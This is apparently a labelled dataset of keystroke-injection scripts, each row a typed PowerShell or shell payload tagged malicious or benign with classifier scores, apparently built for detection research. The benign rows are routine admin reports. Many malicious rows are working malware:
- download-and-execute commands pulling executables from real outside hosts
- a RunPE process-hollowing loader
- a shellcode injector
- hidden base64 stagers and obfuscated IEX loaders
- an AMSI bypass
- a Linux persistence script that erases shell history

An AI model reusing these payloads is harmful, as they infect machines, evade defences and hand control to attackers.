"win+r powershell enter $t0='ZE95'.replace('Z','I').replace('95','x');sal g $t0;$gf=(00100100,01000101,0 enter 1110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111, enter 01101110,01010000,01110010,01100101,01100110,01100101,01110010,01100101,01101110 enter ,01100011,01100101,00100000,00111101,00100000,00100111,01010011,01101001,0110110 enter 0,01100101,01101110,01110100,01101100,01111001,01000011,01101111,01101110,011101 enter 00,01101001,01101110,01110101,01100101,00100111,00111011,00100100,01110100,00110 enter 101,00110110,01100110,01100111,00100000,00111101,00100000,01011011,01000101,0110 enter 1110,01110101,01101101,01011101,00111010,00111010,01010100,01101111,01001111,011 enter 00010,01101010,01100101,01100011,01110100,00101000,01011011,01010011,01111001,01 enter 110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,0 enter 1010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000, enter 01110010,01101111,01 enter enter",1,1,6.451833e-05,0.9999355
"$1wlgod52p8aqk39 = ""Lud8d3ZjZmQ9a3ovcY7LJz1gYnA5a3o6MZ3y7T6d1pNwkeswMRR1cnZoZmQ5 enter Iy5xZSBHRVgnKijVURdCJTnCqkVeL0Mgg7w/u0cRFd+MR4d/zwPHsUhu8z/hdPxwo7bIAGVcHbqQBaFQ enter +gd2t4Gw7b8u3dgrACuFkTSoWt29sHdSxksQ9/U4QX9L7DwcalZzbNkXD/5zB/QIlrSL7P/tPlCBCLJG enter xNGg6ouqhAusX5OazJy8/ODhFm5tmBCkCkAr0sUUWYh/4duQLsGVA8OSmsnJ9TmPlNCnfGNIIYrI0+vl enter 1AzHcqmD2wibhyPFrg3tatAiCc6b5+Oy/NaaGhKc5kOU8Cig+QW/+M/HD44U7yH2nF7Nj5D8nG/hkL88 enter EkfVWbN/SoGwmH9CnahEf6MnwxMY2MMUCMyLhcEJl+hFgvftup9WqQnY+k+bN+Mezs3Xm25C6BfdZq92 enter cQdt7Q0Vb+dSWxW8I6WT+qrEr0+5VEoiLlOdg60Ecj3qdhONXuDQllSSSHaWxZElmP77kE5Tug9gthsk enter SaGqr1V4ZMcTqihfid2NoHdHUGpw1ii1NJiNxmVLw1mcqw4R78xAqFSxe8XJAomjvoTnPS/8tuWK5oIS enter AEAo+8FcRqb7EYq6FOEzXnrA+AUAl0YcAGVpSmO378DhZRxR3ffxmkQtDJng6WTbtk0oDwySNY3EFxyO enter W4XNzcg7Sk/C+oQEL8yZ+kHp6YyZnBe6z0GYJBU9/B6OMN0P54EEbEIFHn1pSmiwQEdumSnw6QkI+Lct enter 2m+7fPGEOMVVVOjrCF1PvGGQBCkP59eJzspLr+2EVVQfvAQZ161EZxQOcEZGk9jrBtMh89v4d6GAsIzu enter /ZJD0XF7Tpupbk/eHBjy enter",1,1,6.369009e-05,0.99993634
"win+r powershell enter  function Load-Form { $Form.Controls.Add($TabControl) $TabControl.Controls.A enter ddRange(@($TabPageGeneral, $TabPageCAS, $TabPagePrimary, $TabPageSecondary, $Tab enter PageSiteRoles, $TabPageOther)) $TabPageGeneral.Controls.AddRange(@($OutputBoxGe enter neral, $BlogLink, $LabelHeader, $LabelGeneralRestart, $LabelGeneralOS, $LabelGen enter eralPS, $LabelGeneralElevated, $GBGeneralReboot, $GBGeneralOS, $GBGeneralPS, $GB enter GeneralElevated, $GBGeneralValidation)) $LabelGeneralRestart.Visible = $false enter $LabelGeneralOS.Visible = $false $LabelGeneralPS.Visible = $false $Form.Add_Sh enter own({Validate-RunChecks}) $Form.Add_Shown({$Form.Activate()}) [void]$Form.Show enter Dialog() enter enter",1,1,0.0037805806,0.99621946
"win+r powershell enter  [CmdletBinding(SupportsShouldProcess=$true)] param( [parameter(Mandatory=$tru enter e, HelpMessage=""Site server where the SMS Provider is installed."")] [ValidateNo enter tNullOrEmpty()] [string]$SiteServer, [parameter(Mandatory=$true, HelpMessage= enter ""Specify installation method."")] [ValidateNotNullOrEmpty()] [ValidateSet(""Inst enter all"",""Uninstall"")] [string]$Method, enter",1,1,0.009455346,0.9905447
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_se5avl75"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service -Name ""*print*"" -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status, ServiceType | enter Export-Csv -Path (Join-Path $ReportDir ""service_service_name_pattern.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.4030563e-05
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install dart-sdk enter A enter enter,0,0,0.99995935,4.059953e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_fz0o7eqo"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 50 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_50.txt"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.40954e-05
DUCKY_REAL_BEGIN enter REM Description: Opens Terminal and redirects to URL of choice enter REM You must enter the desired website in the Url String DO NOT remove single Quotes! enter REM Title: Website Redirect enter REM Author: NARSTY enter REM Target: MacOS enter REM Version: 1.0 enter REM Category: Execution enter ID 05ac:021e Apple:Keyboard enter DELAY 1000 enter GUI SPACE enter DELAY 200 enter STRING terminal enter DELAY 1000 enter ENTER enter DELAY 1000 enter STRING open -a Safari 'Enter URL/Website here' enter DELAY 1000 enter ENTER enter DUCKY_REAL_END,1,1,6.236467e-05,0.99993765
"win+r powershell enter function Out-DataTable { [CmdletBinding()] [OutputType([System.Data.DataTabl enter e])] param( [Parameter( Position=0, Mandatory=$true, ValueFromPipeline = $tr enter ue)] [PSObject[]]$InputObject, [string[]]$NonNullable = @() enter",1,1,0.0025156226,0.9974843
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_2any7zdv"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,2) } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.txt"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 2."" enter Get-Process -Name ""explorer"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 10 Name, Id, Path, Company | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_10.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4085257e-05
"win+r enter powershell enter enter enter $g78fgh00=[char]73 + [char]69 + [char]88 enter sal dwrg5t $g78fgh00 enter enter [byte[]]$server=[System.Convert]::FromBase64String((New-Object Net.WebClient).(-join[char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://firebasestorage.googleapis.com/v0/b/dsadsa-4c70a.appspot.com/o/dasdsadsa.txt?alt=media&token=d5533690-461c-4000-bd64-faad6d0b554e')); enter enter [Byte[]] $DLL =[System.Convert]::FromBase64String((New-Object Net.WebClient).(-join[char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://firebasestorage.googleapis.com/v0/b/tempest-b36f1.appspot.com/o/run2.jpg?alt=media&token=a1ce3355-8889-47e4-8799-7fc641a59a79')); enter enter $y='[System.Ap#####^*******!!!!!!!!!!!!!!!!!!!!!!!!!!@@@@@@@@@<<<<<<<<<<<<<<<<<<<>>>>>>>>>>ain]'.replace('#####^*******!!!!!!!!!!!!!!!!!!!!!!!!!!@@@@@@@@@<<<<<<<<<<<<<<<<<<<>>>>>>>>>>','pDom')|dwrg5t;$g55=$y.GetMethod(""get_CurrentDomain"") enter enter $ewe0='$g55.In#####^*******!!!!!!!!!!!!!!!!!!!!!!!!!!@@@@@@@@@<<<<<<<<<<<<<<<<<<<>>>>>>>>>>ke($null,$null)'.replace('#####^*******!!!!!!!!!!!!!!!!!!!!!!!!!!@@@@@@@@@<<<<<<<<<<<<<<<<<<<>>>>>>>>>>','vo')| dwrg5t enter enter $wwf5dd='$ewe0.Lo#####^*******!!!!!!!!!!!!!!!!!!!!!!!!!!@@@@@@@@@<<<<<<<<<<<<<<<<<<<>>>>>>>>>>($DLL)'.Replace('#####^*******!!!!!!!!!!!!!!!!!!!!!!!!!!@@@@@@@@@<<<<<<<<<<<<<<<<<<<>>>>>>>>>>','ad') enter enter $wwf5dd| dwrg5t enter [RunPE.RunPE]::Execute('C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe',$server) enter [RunPE.RunPE]::Execute('C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe',$server) enter enter",1,1,6.153613e-05,0.9999385
win+r powershell enter  function Get-AzureRmExternalSecuritySolution-SubscriptionScope { $externalSe enter curitySolutions = Get-AzExternalSecuritySolution Validate-ExternalSecuritySolut enter ions $externalSecuritySolutions } function Get-AzureRmExternalSecuritySolution- enter ResourceGroupLevelResource { $externalSecuritySolutions = Get-AzExternalSecurit enter ySolution $externalSecuritySolution = $externalSecuritySolutions | Select -Firs enter t 1 enter enter,1,1,0.0026735906,0.9973264
"win+r powershell enter  [CmdletBinding(SupportsShouldProcess=$true)] param( [parameter(Mandatory=$tru enter e, HelpMessage=""Site server where the SMS Provider is installed"")] [ValidateNot enter NullOrEmpty()] [ValidateScript({Test-Connection -ComputerName $_ -Count 1 -Quie enter t})] [string]$SiteServer, [parameter(Mandatory=$true, HelpMessage=""Full path t enter o the script that the Consumer will execute"")] [ValidatePattern(""^[A-Za-z]{1}:\ enter \\w+\\\w+"")] [ValidateScript({ if ((Split-Path -Path $_ -Leaf).IndexOfAny([I enter O.Path]::GetInvalidFileNameChars()) -ge 0) { enter enter",1,1,0.008095199,0.99190474
"win+r powershell enter $random = (New-Guid).ToString().Substring(0,8) $subscriptionId = ""my-azure-subs enter cription-id"" $apimServiceName = ""apim-$random"" $resourceGroupName = ""apim-rg-$r enter andom"" $location = ""Japan East"" $organisation = ""Contoso"" $adminEmail = ""admin@c enter ontoso.com"" $swaggerUrl = ""http://petstore.swagger.io/v2/swagger.json"" $apiPath enter = ""petstore"" enter",1,1,0.0023191362,0.9976808
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_6p0a0pew"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter Get-LocalGroup | enter Select-Object Name, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.txt"") -Encoding UTF8 enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object DisplayName | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_manual.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.483512e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""daily_check_7bqlldmd"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_ready_tasks.csv"") -NoTypeInformation enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status, ServiceType | enter Export-Csv -Path (Join-Path $ReportDir ""service_manual.csv"") -NoTypeInformation enter",0,0,0.99996614,3.381459e-05
"win+r powershell enter $error.PSBase.Clear() $aRegRoots = @('HKCU\Software','HKLM\System','HKLM\Softwa enter re'); $aGpos = Get-Gpo -All; $aUniqueSettings = @(); $aUniqueDups = @(); functi enter on findRegValues($sName,$sId,$sKeyPath,$aKeyPathHistory = $null) { $aPath = Get enter -GPRegistryValue -GUID $sId -Key $sKeyPath -ErrorAction 'silentlycontinue' $aKe enter yPathHistory = @(); foreach ($oKeyPath in $aPath) { if ($oKeyPath) { enter enter",1,1,0.0006172012,0.99938273
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_qf4b8dwo"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.json"") -Encoding UTF8 enter",0,0,0.999966,3.4032706e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_7yk5yccf"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter Export-Csv -Path (Join-Path $ReportDir ""network_ip_config.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.40451e-05
"win+r powershell enter if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\Wind enter owsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStar enter tInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStre enter am(,[Convert]::FromBase64String(''H4sIAGImx1cCA7VWbW/aSBD+nEr9D1aFZFt1MBDSNJEq3R enter pwILwEcDABik4be20WFi+x1+Gl7X+/MdgpUdNe705ngby787KzzzyzYy8OHEF5IG0cMmwy6cvbNyddHO enter KlpOScxmI8mBVLmpR79NYb9eQEhDlWOj9n9bOHLTNm0idJmaDVqsqXmAbTq6tKHIYkEId5/poIFEVk+c enter AoiRRV+ioNZyQkp7cPc+II6YuU+zN/zfgDZqnatoKdGZFOUeAmshZ3cBJc3loxKhT582dZnZwWp/naY4 enter xZpMjWNhJkmXcZk1Xpm5pseLddEUVuUyfkEfdEfkiDs1J+EETYIx3w9kTaRMy4G8kqnAZ+IRFxGEgvzp enter U4OqgpMgy7IXeQ64YkAqt8I3jiC6LkgpgxTfpDmaRR9ONA0CUBuSAhX1kkfKIOifJ1HLiM9Ik3VTpknR enter 3+d42UYyPQ6opQ1SA5vwi3zd2YkYMHWf0x4OfEqvBkyQU0vr198/aNlxEibBaP2QCjk8l+TCBSpcsjul enter f7JBU0qQ17YcHDLUxzd2FM1Kk0STIxmU7Bv4Pa0WU4D7SfOylmFqAf9YsXDukO+pYLkonNqTsFyzRfOW enter FvzM4c+wucSH/OvirxaE enter",1,1,6.0154594e-05,0.9999398
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_9q1yxduq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.txt"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Select-Object -First 50 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_all_tasks.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.445327e-05
"win+r powershell enter function Get-NetFrameworkTypeAccelerator { [Alias('Get-Acceletrator')] PARAM enter () [System.Management.Automation.PSObject].Assembly.GetType(""System.Management enter .Automation.TypeAccelerators"")::get } $c = '[DllImport(""kernel32.dll"")]public st enter atic extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocation enter Type, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr Cre enter ateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, In enter tPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dl enter l"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = enter Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru enter ;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0 enter x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0 enter x26,0x31,0xff,0x31,0 enter enter",1,1,5.2205152e-05,0.9999478
"win+r powershell enter function LSBWnqoj { [CmdletBinding()] Param ([byte[]] $OPZUR) Process { enter $sLsq = New-Object 'Syste#####moryStream'.Replace('#####','m.IO.Me') ( , $OPZUR enter ) $OunPKqFBG = New-Object 'Syste#####moryStream'.Replace('#####','m.IO.Me') $ enter 01774000 = New-Object 'System.I@@@@@@@@@pStream'.Replace('@@@@@@@@@','O.Compress enter ion.Gzi') $sLsq, ([IO.Compression.CompressionMode]::Decompress) $puffpass = Ne enter w-Object byte[](1024) enter",1,1,5.5001667e-05,0.99994504
"win+r powershell enter (New-Object System.Net.WebClient).DownloadFile('http://icbg-iq.com/Scripts/kinet enter ics/categories/3rmax.exe','fleeble.exe');Start-Process 'fleeble.exe' enter enter",1,1,5.9208996e-05,0.99994075
"win+r enter powershell enter enter enter function Get-UserSession { enter enter [cmdletbinding()] enter Param( enter [Parameter( enter Position = 0, enter ValueFromPipeline = $True)] enter [string[]]$computername = ""localhost"", enter enter [switch]$parseIdleTime, enter enter [validaterange(0,120)]$timeout = 15 enter ) enter enter ForEach($computer in $computername) { enter Do{ enter $tempFile = [System.IO.Path]::GetTempFileName() enter start-sleep -Milliseconds 300 enter } enter Until(test-path $tempfile) enter $startTime = Get-Date enter $p = Start-Process -FilePath C:\windows\system32\cmd.exe -ArgumentList ""/c query user /server:$computer > $tempfile"" -WindowStyle hidden -passthru enter $stopprocessing = $false enter do{ enter $hasExited = $p.HasExited enter Try { $proc = get-process -id $p.id -ErrorAction stop } enter Catch { $proc = $null } enter start-sleep -seconds .5 enter if( ( (Get-Date) - $startTime ).totalseconds -gt $timeout -and -not $hasExited -and $proc){ enter $p.kill() enter $stopprocessing = $true enter remove-item $tempfile -force enter Write-Error ""$computer`: Query.exe took longer than $timeout seconds to execute"" enter } enter } enter until($hasexited -or $stopProcessing -or -not $proc) enter if($stopprocessing){ Continue } enter $sessions = get-content $tempfile enter remove-item $tempfile -force enter if($sessions){ enter enter 1..($sessions.count -1) | % { enter $temp = """" | Select ComputerName, Username, SessionName, Id, State, IdleTime, LogonTime enter $temp.ComputerName = $computer enter if($sessions[$_].length -gt 5){ enter enter if($sessions[$_].length -le 82){ enter enter $temp.Username = $sessions[$_].Substring(1,22).trim() enter $temp.SessionName = $sessions[$_].Substring(23,19).trim() enter $temp.Id = $sessions[$_].Substring(42,4).trim() enter $temp.State = $sessions[$_].Substring(46,8).trim() enter $temp.IdleTime = $sessions[$_].Substring(54,11).trim() enter $logonTimeLength = $sessions[$_].length - 65 enter try{ enter $temp.LogonTime = get-date $sessions[$_].Substring(65,$logonTimeLength).trim() enter } enter catch{ enter $temp.LogonTime = $sessions[$_].Substring(65,$logonTimeLength).trim() | out-null enter } enter enter } enter enter else{ enter $array = $sessions[$_] -replace ""\s+"", "" "" -split "" "" enter $temp.Username = $array[1] enter if($array.count -lt 9){ enter $temp.SessionName = """" enter $temp.Id = $array[2] enter $temp.State = $array[3] enter $temp.IdleTime = $array[4] enter $temp.LogonTime = get-date $($array[5] + "" "" + $array[6] + "" "" + $array[7]) enter } enter else{ enter $temp.SessionName = $array[2] enter $temp.Id = $array[3] enter $temp.State = $array[4] enter $temp.IdleTime = $array[5] enter $temp.LogonTime = get-date $($array[6] + "" "" + $array[7] + "" "" + $array[8]) enter } enter } enter if($parseIdleTime){ enter $string = $temp.idletime enter function convert-shortIdle { enter param($string) enter if($string -match ""\:""){ enter [timespan]$string enter } enter else{ enter New-TimeSpan -minutes $string enter } enter } enter if($string -match ""\+""){ enter $days = new-timespan -days ($string -split ""\+"")[0] enter $hourMin = convert-shortIdle ($string -split ""\+"")[1] enter $temp.idletime = $days + $hourMin enter } enter enter elseif($string -like ""."" -or $string -like ""none""){ enter $temp.idletime = [timespan]""0:00"" enter } enter enter else{ enter $temp.idletime = convert-shortIdle $string enter } enter } enter $temp enter } enter } enter } enter else{ Write-warning ""$computer`: No sessions found"" } enter } enter } enter enter",0,0,0.7894972,0.21050279
"win+r powershell enter (New-Object System.Net.WebClient).DownloadFile('https://a.pomf.cat/jfyywz.exe',"" enter $env:TEMP\winlogs.exe"");Start-Process (""$env:TEMP\winlogs.exe"") enter enter",1,1,5.9670103e-05,0.9999403
"win+r powershell enter [CmdletBinding()] Param( [Parameter(Mandatory=$True, Position=0)] [String]$Versi enter on, [Parameter(Mandatory=$True, Position=1)] [String]$Release, [Parameter(Mandat enter ory=$False, Position=2)] [String]$Folder ) function SetMsiVersion([string]$File enter Path, [string]$MsiVersion) { enter enter",1,1,0.00075371336,0.99924636
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_uda2rnkk"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter Export-Csv -Path (Join-Path $ReportDir ""hardware_summary_report.csv"") -NoTypeInformation enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 3 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4384047e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_3vby5ukq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 200 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_disabled_tasks.csv"") -NoTypeInformation enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 50 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter",0,0,0.99996614,3.3831817e-05
"win+r powershell enter Import-Module Docker Pull-ContainerImage hello-world Run-ContainerImage hello enter -world cls Get-Container | Where-Object State -eq ""exited"" Get-Container | W enter here-Object State -eq ""exited"" | Remove-Container enter enter",1,0,0.99941325,0.0005867713
"win+r powershell enter function Find-Ast { [CmdletBinding(PositionalBinding=$false, DefaultParameter enter SetName='FilterScript')] param( [Parameter(Position=0, ParameterSetName='Filte enter rScript')] [ValidateNotNullOrEmpty()] [scriptblock] $FilterScript = { $true } enter , [Parameter(ValueFromPipeline, ValueFromPipelineByPropertyName, ParameterSetN enter ame='FilterScript')] [ValidateNotNullOrEmpty()] [System.Management.Automation. enter Language.Ast] enter enter",1,1,0.0055002626,0.9944997
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_0b4rn0nq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $PSVersionTable | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.json"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Select-Object -First 50 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.400422e-05
"win+r powershell enter Import-Module BitsTransfer; Start-BitsTransfer -Source ""http://104.238.149.39/23 enter r4t56878675645433/A.pdf"" -Destination ""$env:tmp\\A.pdf""; Invoke-Item ""$env:tmp\\ enter A.pdf""; if (-not (Test-Path ""C:\ProgramData\YWGCNHBTTYGDVSHYYNDAIO"" )) { New- enter Item ""C:\ProgramData\YWGCNHBTTYGDVSHYYNDAIO"" -ItemType Directory -Force }start- enter sleep -s 1 $GBPWAYJYRYXIUTUIKLEXFV = @' @echo off :: Writte file to disk to eva enter de sandbox detection echo microsoft > %userprofile%\\license.pem :: AMSI COM Byp enter ass [ enigma0x3 ] enter enter",1,1,5.559396e-05,0.99994445
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_hi85ht5k"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.txt"") -Encoding UTF8 enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status, ServiceType | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_automatic.txt"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 3."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999646,3.534917e-05
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install adobeshockwaveplayer enter A enter enter,0,0,0.9999602,3.9772895e-05
"win+r powershell enter unknown_key_action ctrl alt t unset histfile && histsize=0 && rm -f $histfile && unset histfile enter mkdir /var/tmp/.system enter echo -e ""#\!/bin/bash enter touch /var/tmp/.system/syslog enter chmod +x /var/tmp/.system/systemmgr enter echo -e ""while : enter chmod +x /var/tmp/.system/systembus enter mkdir -p ~/.config/systemd/user enter echo -e ""[unit] enter echo ""while true; do systemctl --user restart systembus.service; sleep 15m; done"" > /var/tmp/.system/reboot enter chmod +x /var/tmp/.system/reboot enter echo -e ""[unit] enter systemctl --user daemon-reload enter systemctl --user enable --now systembus.service enter systemctl --user start --now systembus.service enter systemctl --user enable --now reboot.service enter systemctl --user start --now reboot.service enter echo -e ""#\!/bin/bash enter chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit enter enter",1,1,9.410371e-05,0.99990594
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_eu606rw9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetRoute | enter Select-Object -First 25 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter Export-Csv -Path (Join-Path $ReportDir ""network_routes.csv"") -NoTypeInformation enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Export-Csv -Path (Join-Path $ReportDir ""user_current_context.csv"") -NoTypeInformation enter",0,0,0.99996614,3.3906428e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_rfkl6415"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.txt"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4368837e-05
